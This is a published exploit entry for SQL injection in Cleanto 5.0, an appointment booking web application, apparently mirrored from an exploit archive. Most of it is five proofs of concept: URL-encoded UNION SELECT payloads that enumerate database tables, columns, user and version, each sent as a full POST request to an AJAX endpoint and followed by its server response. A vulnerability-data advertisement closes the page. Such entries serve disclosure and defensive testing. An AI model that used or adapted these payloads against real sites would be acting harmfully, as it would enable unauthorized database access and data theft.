# Exploit Title: Cleanto 5.0 - SQL Injection
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://skymoonlabs.com/
# Software Link: https://codecanyon.net/item/appointment-booking-software-for-cleaning-maintenance-businesses-cleanto/18397969
# Version: 5.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC:
# 1)
# http://localhost/[PATH]/assets/lib/front_ajax.php
#
%2d%35%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%31%30%2c%31%31%2c%31%32%2d%2d%20%2d
POST /[PATH]/assets/lib/front_ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 572
Cookie: PHPSESSID=hrjvg00694n8qbnctc6buqsrt1; __stripe_mid=2a8f25fc-d13c-4873-96ae-832f3f9d4c11; __stripe_sid=39580a75-f7d8-40ca-aa36-cca625a54f96
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
service_id=%2d%35%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c(selECt(@x)fROm(selECt(@x: =0x00)%2c(@rUNNing_nuMBer
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 13 Jan 2019 17:32:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
X-Endurance-Cache-Level: 2
Transfer-Encoding: chunked
# POC:
# 2)
# http://localhost/[PATH]/assets/lib/front_ajax.php
#
%2d%35%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%31%30%2c%31%31%2c%31%32%2d%2d%20%2d
POST /[PATH]/assets/lib/front_ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 584
Cookie: PHPSESSID=hrjvg00694n8qbnctc6buqsrt1; __stripe_mid=2a8f25fc-d13c-4873-96ae-832f3f9d4c11; __stripe_sid=39580a75-f7d8-40ca-aa36-cca625a54f96
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
method_id=%2d%35%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c(selECt(@x)fROm(selECt(@x: =0x00)%2c(@rUNNing_nuMBer
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 13 Jan 2019 17:37:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
X-Endurance-Cache-Level: 2
Transfer-Encoding: chunked
# POC:
# 3)
# http://localhost/[PATH]/assets/lib/front_ajax.php
#
POST /[PATH]/assets/lib/front_ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 199
Cookie: PHPSESSID=hrjvg00694n8qbnctc6buqsrt1; __stripe_mid=2a8f25fc-d13c-4873-96ae-832f3f9d4c11; __stripe_sid=39580a75-f7d8-40ca-aa36-cca625a54f96
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
addon_id=%2d%31%34%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2d%2d%20%2d&qty_vals=2&s_addon_units_maxlimit_4_ratesss=1: undefined
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 13 Jan 2019 17:48:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
X-Endurance-Cache-Level: 2
Transfer-Encoding: chunked
# POC:
# 4)
# http://localhost/[PATH]/assets/lib/export_ajax.php
#
POST /[PATH]/assets/lib/export_ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 301
Cookie: PHPSESSID=hrjvg00694n8qbnctc6buqsrt1; __stripe_mid=2a8f25fc-d13c-4873-96ae-832f3f9d4c11; __stripe_sid=39580a75-f7d8-40ca-aa36-cca625a54f96
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
id=5 UNION SELECT 1,2,3,4,(SELECT(@x)FROM(SELECT(@x: =0x00),(@NR
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 13 Jan 2019 18:14:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Cache-Control: max-age=7200
Expires: Sun, 13 Jan 2019 20:14:25 GMT
Vary: Accept-Encoding
X-Endurance-Cache-Level: 2
Transfer-Encoding: chunked
# POC:
# 5)
# http://localhost/[PATH]/assets/lib/service_method_ajax.php
#
POST /[PATH]/assets/lib/service_method_ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 255
Cookie: PHPSESSID=hrjvg00694n8qbnctc6buqsrt1; __stripe_mid=2a8f25fc-d13c-4873-96ae-832f3f9d4c11; __stripe_sid=39580a75-f7d8-40ca-aa36-cca625a54f96
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
service_id=%35%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%34%2c%35%2d%2d%20%2d&getallservicemethod=1: undefined
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 13 Jan 2019 18:21:33 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Cache-Control: max-age=7200
Expires: Sun, 13 Jan 2019 20:21:32 GMT
Vary: Accept-Encoding
X-Endurance-Cache-Level: 2
Transfer-Encoding: chunkedData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation